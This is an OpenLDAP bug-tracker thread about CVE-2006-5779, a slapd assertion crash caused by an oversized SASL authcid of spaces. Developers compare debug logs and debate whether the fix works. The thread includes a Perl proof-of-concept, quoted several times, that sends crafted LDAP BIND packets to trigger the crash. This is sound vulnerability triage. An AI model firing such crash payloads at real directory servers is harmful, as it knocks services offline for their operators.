Issue 4740 - SASL bind assert
Summary: SASL bind assert
Status: VERIFIED FIXED
Alias: None
Product: OpenLDAP
Classification: Unclassified
Component: slapd (show other issues)
Version: unspecified
Hardware: All All
: --- normal
Target Milestone: ---
Assignee: OpenLDAP project
URL:
Keywords:
Depends on:
Blocks:
 
Reported: 2006-11-09 02:17 UTC by Howard Chu
Modified: 2014-08-01 21:06 UTC (History)
0 users

See Also:


Attachments

Note You need to log in before you can comment on or make changes to this issue.
Description Howard Chu 2006-11-09 02:17:23 UTC
Full_Name: Howard Chu
Version: all < 2.3.29
OS: 
URL: ftp://ftp.openldap.org/incoming/
Submission from: (NULL) (76.168.84.21)
Submitted by: hyc


Apparently this bug was discovered by Evgeny Legerov but was not previously
reported to anyone on the Project. The bug is now fixed in HEAD and RE23.

Performing a SASL Bind with an authcid longer than 255 characters, with a space
as the 255th character, will cause the length of the normalized name to be
computed incorrectly, failing to take into account the escaping of the space
character. (The SASL Bind code truncates all incoming names longer than 255 to
exactly 255 characters.) This triggers an assert in libldap because the
resulting string length doesn't match what we expected it to be.

The fix is in libldap/getdn.c rev 1.134.

The MITRE CVE record for this bug is
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5779

Comment 1 Howard Chu 2006-11-09 02:17:44 UTC
changed notes
changed state Open to Release
moved from Incoming to Software Bugs
Comment 2 Kurt Zeilenga 2006-11-14 20:50:48 UTC
changed state Release to Closed
Comment 3 Brian Thomas 2006-11-28 01:14:56 UTC
Hello,

It would appear from my testing that this bug is not fixed. I have compiled
and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
the fixes that were introduced in 1.134. However, a nessus scan that
attempts to exploit this bug still succeeds in crashing slapd, with debug
output attached below (I've snipped the actual data passsed in, suffice to
say it's 255 0x20's).

I'm happy to provide any other information as needed. I've taken a look at
the diffs but haven't been able to find what the problem is.

Brian

ber_scanf fmt (}}) ber:
ber_dump: buf=0x09efba28 ptr=0x09efbe47 end=0x09efbe47 len=0

>>> dnPrettyNormal: <>
<<< dnPrettyNormal: <>, <>
do_sasl_bind: dn () mech CRAM-MD5
==> sasl_bind: dn="" mech=<continuing> datalen=1024
SASL Canonicalize [conn=21]:
authcid="
"
slap_sasl_getdn: conn 21
id=
[len=255]
=> ldap_dn2bv(16)
<=
ldap_dn2bv(uid=\20
\20,cn=CRAM-MD5,cn=auth)=0
slap_sasl_getdn: u:id converted to
uid=\20
\20,cn=CRAM-MD5,cn=auth
>>> dnNormalize:
<uid=\20
\20,cn=CRAM-MD5,cn=auth>
=>
ldap_bv2dn(uid=\20
\20,cn=CRAM-MD5,cn=auth,0)
<=
ldap_bv2dn(uid=\20
\20,cn=CRAM-MD5,cn=auth)=0
=> ldap_dn2bv(272)
<= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0
<<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
<==slap_sasl2dn: Converted SASL name to <nothing>
SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
Comment 4 Howard Chu 2006-11-28 03:11:40 UTC
bthomas@google.com wrote:
> ------=_Part_8120_20176863.1164676496288
> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
> Content-Transfer-Encoding: 7bit
> Content-Disposition: inline
> 
> Hello,
> 
> It would appear from my testing that this bug is not fixed. I have compiled
> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
> the fixes that were introduced in 1.134. However, a nessus scan that
> attempts to exploit this bug still succeeds in crashing slapd, with debug
> output attached below (I've snipped the actual data passsed in, suffice to
> say it's 255 0x20's).
> 
> I'm happy to provide any other information as needed. I've taken a look at
> the diffs but haven't been able to find what the problem is.

This is the perl script I used to verify the bug here. slapd works fine 
for me with this. If you can tell us how to reproduce the crash, we can 
investigate further.

use IO::Socket;

         my $host = "localhost";
         my $port = 9011;

         my $sock = IO::Socket::INET->new(
                         Proto   => "tcp",
                         PeerAddr => $host,
                         PeerPort => $port, )
                         or die "Error creating socket";

         print "Sending LDAP BIND request...\n";

         my 
$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04";
         $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35";
                 print $sock $s;

         my $buf = '                                        ';
         read( $sock, $buf, 24 );

         $s  = 
"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04";
         $s .= 
"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04";
         $s .= "\x82\x04\x00";
         $s .= "\x20" x 1024;

         print "Sending second LDAP BIND request...\n";

         print $sock $s;
         close $sock;

         print "Done\n";

-- 
   -- Howard Chu
   Chief Architect, Symas Corp.  http://www.symas.com
   Director, Highland Sun        http://highlandsun.com/hyc
   OpenLDAP Core Team            http://www.openldap.org/project/

Comment 5 Kurt Zeilenga 2006-11-28 03:30:06 UTC
 From the provided log, looks like it's a SASL/CRAM-MD5
authentication with lots of spaces in the authcid.

Logs:
>>>> dnPrettyNormal: <>
><<< dnPrettyNormal: <>, <>
>do_sasl_bind: dn () mech CRAM-MD5

empty bind DN

>==> sasl_bind: dn="" mech=<continuing> datalen=1024
>SASL Canonicalize [conn=21]:
>authcid="
>"

authcid of spaces.

>slap_sasl_getdn: conn 21
>id=
>[len=255]

255 spaces.

>=> ldap_dn2bv(16)
><=
>ldap_dn2bv(uid=\20
>\20,cn=CRAM-MD5,cn=auth)=0
>slap_sasl_getdn: u:id converted to
>uid=\20
>\20,cn=CRAM-MD5,cn=auth

OKAY.

>>>> dnNormalize:
><uid=\20
>\20,cn=CRAM-MD5,cn=auth>
>=>
>ldap_bv2dn(uid=\20
>\20,cn=CRAM-MD5,cn=auth,0)
><=
>ldap_bv2dn(uid=\20
>\20,cn=CRAM-MD5,cn=auth)=0
>=> ldap_dn2bv(272)
><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0

BAD!  We lost 254 spaces (last of which was escaped).

><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
><==slap_sasl2dn: Converted SASL name to <nothing>
>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
>

At 07:13 PM 11/27/2006, hyc@symas.com wrote:
>bthomas@google.com wrote:
>> ------=_Part_8120_20176863.1164676496288
>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>> Content-Transfer-Encoding: 7bit
>> Content-Disposition: inline
>> 
>> Hello,
>> 
>> It would appear from my testing that this bug is not fixed. I have compiled
>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
>> the fixes that were introduced in 1.134. However, a nessus scan that
>> attempts to exploit this bug still succeeds in crashing slapd, with debug
>> output attached below (I've snipped the actual data passsed in, suffice to
>> say it's 255 0x20's).
>> 
>> I'm happy to provide any other information as needed. I've taken a look at
>> the diffs but haven't been able to find what the problem is.
>
>This is the perl script I used to verify the bug here. slapd works fine 
>for me with this. If you can tell us how to reproduce the crash, we can 
>investigate further.
>
>use IO::Socket;
>
>         my $host = "localhost";
>         my $port = 9011;
>
>         my $sock = IO::Socket::INET->new(
>                         Proto   => "tcp",
>                         PeerAddr => $host,
>                         PeerPort => $port, )
>                         or die "Error creating socket";
>
>         print "Sending LDAP BIND request...\n";
>
>         my 
>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04";
>         $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35";
>                 print $sock $s;
>
>         my $buf = '                                        ';
>         read( $sock, $buf, 24 );
>
>         $s  = 
>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04";
>         $s .= 
>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04";
>         $s .= "\x82\x04\x00";
>         $s .= "\x20" x 1024;
>
>         print "Sending second LDAP BIND request...\n";
>
>         print $sock $s;
>         close $sock;
>
>         print "Done\n";
>
>-- 
>   -- Howard Chu
>   Chief Architect, Symas Corp.  http://www.symas.com
>   Director, Highland Sun        http://highlandsun.com/hyc
>   OpenLDAP Core Team            http://www.openldap.org/project/

Comment 6 Kurt Zeilenga 2006-11-28 03:51:04 UTC
Spoke too soon.

You code appears to be sending the same requests as
Nessus, at least as described here:
  http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625

Suspect a mismatch between what you and Brian are
testing...

Kurt

At 07:30 PM 11/27/2006, Kurt@OpenLDAP.org wrote:
> From the provided log, looks like it's a SASL/CRAM-MD5
>authentication with lots of spaces in the authcid.
>
>Logs:
>>>>> dnPrettyNormal: <>
>><<< dnPrettyNormal: <>, <>
>>do_sasl_bind: dn () mech CRAM-MD5
>
>empty bind DN
>
>>==> sasl_bind: dn="" mech=<continuing> datalen=1024
>>SASL Canonicalize [conn=21]:
>>authcid="
>>"
>
>authcid of spaces.
>
>>slap_sasl_getdn: conn 21
>>id=
>>[len=255]
>
>255 spaces.
>
>>=> ldap_dn2bv(16)
>><=
>>ldap_dn2bv(uid=\20
>>\20,cn=CRAM-MD5,cn=auth)=0
>>slap_sasl_getdn: u:id converted to
>>uid=\20
>>\20,cn=CRAM-MD5,cn=auth
>
>OKAY.
>
>>>>> dnNormalize:
>><uid=\20
>>\20,cn=CRAM-MD5,cn=auth>
>>=>
>>ldap_bv2dn(uid=\20
>>\20,cn=CRAM-MD5,cn=auth,0)
>><=
>>ldap_bv2dn(uid=\20
>>\20,cn=CRAM-MD5,cn=auth)=0
>>=> ldap_dn2bv(272)
>><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0
>
>BAD!  We lost 254 spaces (last of which was escaped).
>
>><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
>>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
>>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
>><==slap_sasl2dn: Converted SASL name to <nothing>
>>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
>>
>
>At 07:13 PM 11/27/2006, hyc@symas.com wrote:
>>bthomas@google.com wrote:
>>> ------=_Part_8120_20176863.1164676496288
>>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>>> Content-Transfer-Encoding: 7bit
>>> Content-Disposition: inline
>>> 
>>> Hello,
>>> 
>>> It would appear from my testing that this bug is not fixed. I have compiled
>>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
>>> the fixes that were introduced in 1.134. However, a nessus scan that
>>> attempts to exploit this bug still succeeds in crashing slapd, with debug
>>> output attached below (I've snipped the actual data passsed in, suffice to
>>> say it's 255 0x20's).
>>> 
>>> I'm happy to provide any other information as needed. I've taken a look at
>>> the diffs but haven't been able to find what the problem is.
>>
>>This is the perl script I used to verify the bug here. slapd works fine 
>>for me with this. If you can tell us how to reproduce the crash, we can 
>>investigate further.
>>
>>use IO::Socket;
>>
>>         my $host = "localhost";
>>         my $port = 9011;
>>
>>         my $sock = IO::Socket::INET->new(
>>                         Proto   => "tcp",
>>                         PeerAddr => $host,
>>                         PeerPort => $port, )
>>                         or die "Error creating socket";
>>
>>         print "Sending LDAP BIND request...\n";
>>
>>         my 
>>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04";
>>         $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35";
>>                 print $sock $s;
>>
>>         my $buf = '                                        ';
>>         read( $sock, $buf, 24 );
>>
>>         $s  = 
>>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04";
>>         $s .= 
>>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04";
>>         $s .= "\x82\x04\x00";
>>         $s .= "\x20" x 1024;
>>
>>         print "Sending second LDAP BIND request...\n";
>>
>>         print $sock $s;
>>         close $sock;
>>
>>         print "Done\n";
>>
>>-- 
>>   -- Howard Chu
>>   Chief Architect, Symas Corp.  http://www.symas.com
>>   Director, Highland Sun        http://highlandsun.com/hyc
>>   OpenLDAP Core Team            http://www.openldap.org/project/

Comment 7 Kurt Zeilenga 2006-11-28 03:54:04 UTC
At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote:
>Spoke too soon.
>You code appears to be sending the same requests as
>Nessus, at least as described here:
>  http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625
>
>Suspect a mismatch between what you and Brian are
>testing...

Howard, is the normalized authcDN in your testing correct?


>Kurt
>
>At 07:30 PM 11/27/2006, Kurt@OpenLDAP.org wrote:
>> From the provided log, looks like it's a SASL/CRAM-MD5
>>authentication with lots of spaces in the authcid.
>>
>>Logs:
>>>>>> dnPrettyNormal: <>
>>><<< dnPrettyNormal: <>, <>
>>>do_sasl_bind: dn () mech CRAM-MD5
>>
>>empty bind DN
>>
>>>==> sasl_bind: dn="" mech=<continuing> datalen=1024
>>>SASL Canonicalize [conn=21]:
>>>authcid="
>>>"
>>
>>authcid of spaces.
>>
>>>slap_sasl_getdn: conn 21
>>>id=
>>>[len=255]
>>
>>255 spaces.
>>
>>>=> ldap_dn2bv(16)
>>><=
>>>ldap_dn2bv(uid=\20
>>>\20,cn=CRAM-MD5,cn=auth)=0
>>>slap_sasl_getdn: u:id converted to
>>>uid=\20
>>>\20,cn=CRAM-MD5,cn=auth
>>
>>OKAY.
>>
>>>>>> dnNormalize:
>>><uid=\20
>>>\20,cn=CRAM-MD5,cn=auth>
>>>=>
>>>ldap_bv2dn(uid=\20
>>>\20,cn=CRAM-MD5,cn=auth,0)
>>><=
>>>ldap_bv2dn(uid=\20
>>>\20,cn=CRAM-MD5,cn=auth)=0
>>>=> ldap_dn2bv(272)
>>><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0
>>
>>BAD!  We lost 254 spaces (last of which was escaped).
>>
>>><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
>>>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
>>>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
>>><==slap_sasl2dn: Converted SASL name to <nothing>
>>>SASL Canonicalize [conn=21]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
>>>
>>
>>At 07:13 PM 11/27/2006, hyc@symas.com wrote:
>>>bthomas@google.com wrote:
>>>> ------=_Part_8120_20176863.1164676496288
>>>> Content-Type: text/plain; charset=ISO-8859-1; format=flowed
>>>> Content-Transfer-Encoding: 7bit
>>>> Content-Disposition: inline
>>>> 
>>>> Hello,
>>>> 
>>>> It would appear from my testing that this bug is not fixed. I have compiled
>>>> and installed 2.3.30 and verified that my version of getdn.c (1.124.2.5) has
>>>> the fixes that were introduced in 1.134. However, a nessus scan that
>>>> attempts to exploit this bug still succeeds in crashing slapd, with debug
>>>> output attached below (I've snipped the actual data passsed in, suffice to
>>>> say it's 255 0x20's).
>>>> 
>>>> I'm happy to provide any other information as needed. I've taken a look at
>>>> the diffs but haven't been able to find what the problem is.
>>>
>>>This is the perl script I used to verify the bug here. slapd works fine 
>>>for me with this. If you can tell us how to reproduce the crash, we can 
>>>investigate further.
>>>
>>>use IO::Socket;
>>>
>>>         my $host = "localhost";
>>>         my $port = 9011;
>>>
>>>         my $sock = IO::Socket::INET->new(
>>>                         Proto   => "tcp",
>>>                         PeerAddr => $host,
>>>                         PeerPort => $port, )
>>>                         or die "Error creating socket";
>>>
>>>         print "Sending LDAP BIND request...\n";
>>>
>>>         my 
>>>$s="\x30\x17\x02\x02\x04\xe7\x60\x11\x02\x01\x03\x04\x00\xa3\x0a\x04";
>>>         $s .= "\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35";
>>>                 print $sock $s;
>>>
>>>         my $buf = '                                        ';
>>>         read( $sock, $buf, 24 );
>>>
>>>         $s  = 
>>>"\x30\x82\x04\x1f\x02\x02\x04\xe6\x60\x82\x04\x17\x02\x01\x03\x04";
>>>         $s .= 
>>>"\x00\xa3\x82\x04\x0e\x04\x08\x43\x52\x41\x4d\x2d\x4d\x44\x35\x04";
>>>         $s .= "\x82\x04\x00";
>>>         $s .= "\x20" x 1024;
>>>
>>>         print "Sending second LDAP BIND request...\n";
>>>
>>>         print $sock $s;
>>>         close $sock;
>>>
>>>         print "Done\n";
>>>
>>>-- 
>>>   -- Howard Chu
>>>   Chief Architect, Symas Corp.  http://www.symas.com
>>>   Director, Highland Sun        http://highlandsun.com/hyc
>>>   OpenLDAP Core Team            http://www.openldap.org/project/

Comment 8 Howard Chu 2006-11-28 04:05:00 UTC
Kurt@OpenLDAP.org wrote:
> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote:
>> Spoke too soon.
>> You code appears to be sending the same requests as
>> Nessus, at least as described here:
>>  http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625
>>
>> Suspect a mismatch between what you and Brian are
>> testing...
> 
> Howard, is the normalized authcDN in your testing correct?

It has a single escaped space. Here's the log with 256 characters 
instead of 1024:

 >>> slap_listener(ldap://:9011)connection_get(12)
connection_get(12): got connid=2
connection_read(12): checking for input on id=2
ber_get_next
ldap_read: want=8, got=8
   0000:  30 17 02 02 04 e7 60 11                            0.....`.
ldap_read: want=17, got=17
   0000:  02 01 03 04 00 a3 0a 04  08 43 52 41 4d 2d 4d 44 
.........CRAM-MD
   0010:  35                                                 5
ber_get_next: tag 0x30 len 23 contents:
ber_get_next
ldap_read: want=8 error=Resource temporarily unavailable
ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable)
do_bind
ber_scanf fmt ({imt) ber:
ber_scanf fmt ({m) ber:
ber_scanf fmt (}}) ber:
 >>> dnPrettyNormal: <>
<<< dnPrettyNormal: <>, <>
do_sasl_bind: dn () mech CRAM-MD5
==> sasl_bind: dn="" mech=CRAM-MD5 datalen=0
send_ldap_sasl: err=14 len=38
send_ldap_response: msgid=1255 tag=97 err=14
ber_flush: 55 bytes to sd 12
   0000:  30 35 02 02 04 e7 61 2f  0a 01 0e 04 00 04 00 87 
05....a/........
   0010:  26 3c 39 34 32 38 34 39  37 31 39 2e 37 30 35 38 
&<942849719.7058
   0020:  36 35 39 40 6d 61 6e 64  6f 6c 69 6e 2e 73 79 6d 
659@mandolin.sym
   0030:  61 73 2e 63 6f 6d 3e                               as.com>
ldap_write: want=55, written=55
   0000:  30 35 02 02 04 e7 61 2f  0a 01 0e 04 00 04 00 87 
05....a/........
   0010:  26 3c 39 34 32 38 34 39  37 31 39 2e 37 30 35 38 
&<942849719.7058
   0020:  36 35 39 40 6d 61 6e 64  6f 6c 69 6e 2e 73 79 6d 
659@mandolin.sym
   0030:  61 73 2e 63 6f 6d 3e                               as.com>
<== slap_sasl_bind: rc=14
connection_get(12)
connection_get(12): got connid=2
connection_read(12): checking for input on id=2
ber_get_next
ldap_read: want=8, got=8
   0000:  30 82 01 1f 02 02 04 e6                            0.......
ldap_read: want=283, got=283
   0000:  60 82 01 17 02 01 03 04  00 a3 82 01 0e 04 08 43 
`..............C
   0010:  52 41 4d 2d 4d 44 35 04  82 01 00 20 20 20 20 20   RAM-MD5....
   0020:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   0030:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   0040:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   0050:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   0060:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   0070:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   0080:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   0090:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   00a0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   00b0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   00c0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   00d0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   00e0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   00f0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   0100:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
   0110:  20 20 20 20 20 20 20 20  20 20 20
ber_get_next: tag 0x30 len 287 contents:
ber_get_next
ldap_read: want=8 error=Resource temporarily unavailable
ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable)
connection_get(12)
connection_get(12): got connid=2
connection_read(12): checking for input on id=2
ber_get_next
ldap_read: want=8, got=0

ber_get_next on fd 12 failed errno=0 (Success)
connection_closing: readying conn=2 sd=12 for close
connection_close: deferring conn=2 sd=12
do_bind
ber_scanf fmt ({imt) ber:
ber_scanf fmt ({m) ber:
ber_scanf fmt (m) ber:
ber_scanf fmt (}}) ber:
 >>> dnPrettyNormal: <>
<<< dnPrettyNormal: <>, <>
do_sasl_bind: dn () mech CRAM-MD5
==> sasl_bind: dn="" mech=<continuing> datalen=256
SASL Canonicalize [conn=2]: authcid=" 
 
 
 
        "
slap_sasl_getdn: conn 2 id= 
 
 
 
[len=255]
=> ldap_dn2bv(16)
<= ldap_dn2bv(uid=\20 
 
 
 
\20,cn=CRAM-MD5,cn=auth)=0
slap_sasl_getdn: u:id converted to uid=\20 
 
 
 
           \20,cn=CRAM-MD5,cn=auth
 >>> dnNormalize: <uid=\20 
 
 
 
\20,cn=CRAM-MD5,cn=auth>
=> ldap_bv2dn(uid=\20 
 
 
 
\20,cn=CRAM-MD5,cn=auth,0)
<= ldap_bv2dn(uid=\20 
 
 
 
\20,cn=CRAM-MD5,cn=auth)=0
=> ldap_dn2bv(272)
<= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0
<<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
<==slap_sasl2dn: Converted SASL name to <nothing>
SASL Canonicalize [conn=2]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
SASL [conn=2] Failure: no secret in database
send_ldap_result: conn=2 op=1 p=3
send_ldap_result: err=49 matched="" text="SASL(-13): user not found: no 
secret in database"
send_ldap_response: msgid=1254 tag=97 err=49
<== slap_sasl_bind: rc=49
connection_resched: attempting closing conn=2 sd=12
connection_close: conn=2 sd=12



-- 
   -- Howard Chu
   Chief Architect, Symas Corp.  http://www.symas.com
   Director, Highland Sun        http://highlandsun.com/hyc
   OpenLDAP Core Team            http://www.openldap.org/project/

Comment 9 Kurt Zeilenga 2006-11-28 04:18:59 UTC
At 08:06 PM 11/27/2006, hyc@symas.com wrote:
>Kurt@OpenLDAP.org wrote:
>> At 07:51 PM 11/27/2006, Kurt D. Zeilenga wrote:
>>> Spoke too soon.
>>> You code appears to be sending the same requests as
>>> Nessus, at least as described here:
>>>  http://www.nessus.org/plugins/index.php?view=viewsrc&id=23625
>>>
>>> Suspect a mismatch between what you and Brian are
>>> testing...
>> 
>> Howard, is the normalized authcDN in your testing correct?
>
>It has a single escaped space.

And that's correct (I was wrong before).  A directory string of
N spaces normalizes to a single space, which must be escaped in
the DN.

So it does seem like you and Brian are simply not running the
same code.

-- Kurt

>Here's the log with 256 characters 
>instead of 1024:
>
> >>> slap_listener(ldap://:9011)connection_get(12)
>connection_get(12): got connid=2
>connection_read(12): checking for input on id=2
>ber_get_next
>ldap_read: want=8, got=8
>   0000:  30 17 02 02 04 e7 60 11                            0.....`.
>ldap_read: want=17, got=17
>   0000:  02 01 03 04 00 a3 0a 04  08 43 52 41 4d 2d 4d 44 
>.........CRAM-MD
>   0010:  35                                                 5
>ber_get_next: tag 0x30 len 23 contents:
>ber_get_next
>ldap_read: want=8 error=Resource temporarily unavailable
>ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable)
>do_bind
>ber_scanf fmt ({imt) ber:
>ber_scanf fmt ({m) ber:
>ber_scanf fmt (}}) ber:
> >>> dnPrettyNormal: <>
><<< dnPrettyNormal: <>, <>
>do_sasl_bind: dn () mech CRAM-MD5
>==> sasl_bind: dn="" mech=CRAM-MD5 datalen=0
>send_ldap_sasl: err=14 len=38
>send_ldap_response: msgid=1255 tag=97 err=14
>ber_flush: 55 bytes to sd 12
>   0000:  30 35 02 02 04 e7 61 2f  0a 01 0e 04 00 04 00 87 
>05....a/........
>   0010:  26 3c 39 34 32 38 34 39  37 31 39 2e 37 30 35 38 
>&<942849719.7058
>   0020:  36 35 39 40 6d 61 6e 64  6f 6c 69 6e 2e 73 79 6d 
>659@mandolin.sym
>   0030:  61 73 2e 63 6f 6d 3e                               as.com>
>ldap_write: want=55, written=55
>   0000:  30 35 02 02 04 e7 61 2f  0a 01 0e 04 00 04 00 87 
>05....a/........
>   0010:  26 3c 39 34 32 38 34 39  37 31 39 2e 37 30 35 38 
>&<942849719.7058
>   0020:  36 35 39 40 6d 61 6e 64  6f 6c 69 6e 2e 73 79 6d 
>659@mandolin.sym
>   0030:  61 73 2e 63 6f 6d 3e                               as.com>
><== slap_sasl_bind: rc=14
>connection_get(12)
>connection_get(12): got connid=2
>connection_read(12): checking for input on id=2
>ber_get_next
>ldap_read: want=8, got=8
>   0000:  30 82 01 1f 02 02 04 e6                            0.......
>ldap_read: want=283, got=283
>   0000:  60 82 01 17 02 01 03 04  00 a3 82 01 0e 04 08 43 
>`..............C
>   0010:  52 41 4d 2d 4d 44 35 04  82 01 00 20 20 20 20 20   RAM-MD5....
>   0020:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   0030:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   0040:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   0050:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   0060:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   0070:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   0080:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   0090:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   00a0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   00b0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   00c0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   00d0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   00e0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   00f0:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   0100:  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20
>   0110:  20 20 20 20 20 20 20 20  20 20 20
>ber_get_next: tag 0x30 len 287 contents:
>ber_get_next
>ldap_read: want=8 error=Resource temporarily unavailable
>ber_get_next on fd 12 failed errno=11 (Resource temporarily unavailable)
>connection_get(12)
>connection_get(12): got connid=2
>connection_read(12): checking for input on id=2
>ber_get_next
>ldap_read: want=8, got=0
>
>ber_get_next on fd 12 failed errno=0 (Success)
>connection_closing: readying conn=2 sd=12 for close
>connection_close: deferring conn=2 sd=12
>do_bind
>ber_scanf fmt ({imt) ber:
>ber_scanf fmt ({m) ber:
>ber_scanf fmt (m) ber:
>ber_scanf fmt (}}) ber:
> >>> dnPrettyNormal: <>
><<< dnPrettyNormal: <>, <>
>do_sasl_bind: dn () mech CRAM-MD5
>==> sasl_bind: dn="" mech=<continuing> datalen=256
>SASL Canonicalize [conn=2]: authcid=" 
> 
> 
> 
>        "
>slap_sasl_getdn: conn 2 id= 
> 
> 
> 
>[len=255]
>=> ldap_dn2bv(16)
><= ldap_dn2bv(uid=\20 
> 
> 
> 
>\20,cn=CRAM-MD5,cn=auth)=0
>slap_sasl_getdn: u:id converted to uid=\20 
> 
> 
> 
>           \20,cn=CRAM-MD5,cn=auth
> >>> dnNormalize: <uid=\20 
> 
> 
> 
>\20,cn=CRAM-MD5,cn=auth>
>=> ldap_bv2dn(uid=\20 
> 
> 
> 
>\20,cn=CRAM-MD5,cn=auth,0)
><= ldap_bv2dn(uid=\20 
> 
> 
> 
>\20,cn=CRAM-MD5,cn=auth)=0
>=> ldap_dn2bv(272)
><= ldap_dn2bv(uid=\20,cn=cram-md5,cn=auth)=0
><<< dnNormalize: <uid=\20,cn=cram-md5,cn=auth>
>==>slap_sasl2dn: converting SASL name uid=\20,cn=cram-md5,cn=auth to a DN
>slap_authz_regexp: converting SASL name uid=\20,cn=cram-md5,cn=auth
><==slap_sasl2dn: Converted SASL name to <nothing>
>SASL Canonicalize [conn=2]: slapAuthcDN="uid=\20,cn=cram-md5,cn=auth"
>SASL [conn=2] Failure: no secret in database
>send_ldap_result: conn=2 op=1 p=3
>send_ldap_result: err=49 matched="" text="SASL(-13): user not found: no 
>secret in database"
>send_ldap_response: msgid=1254 tag=97 err=49
><== slap_sasl_bind: rc=49
>connection_resched: attempting closing conn=2 sd=12
>connection_close: conn=2 sd=12
>
>
>
>-- 
>   -- Howard Chu
>   Chief Architect, Symas Corp.  http://www.symas.com
>   Director, Highland Sun        http://highlandsun.com/hyc
>   OpenLDAP Core Team            http://www.openldap.org/project/

Comment 10 Howard Chu 2006-11-28 04:40:27 UTC
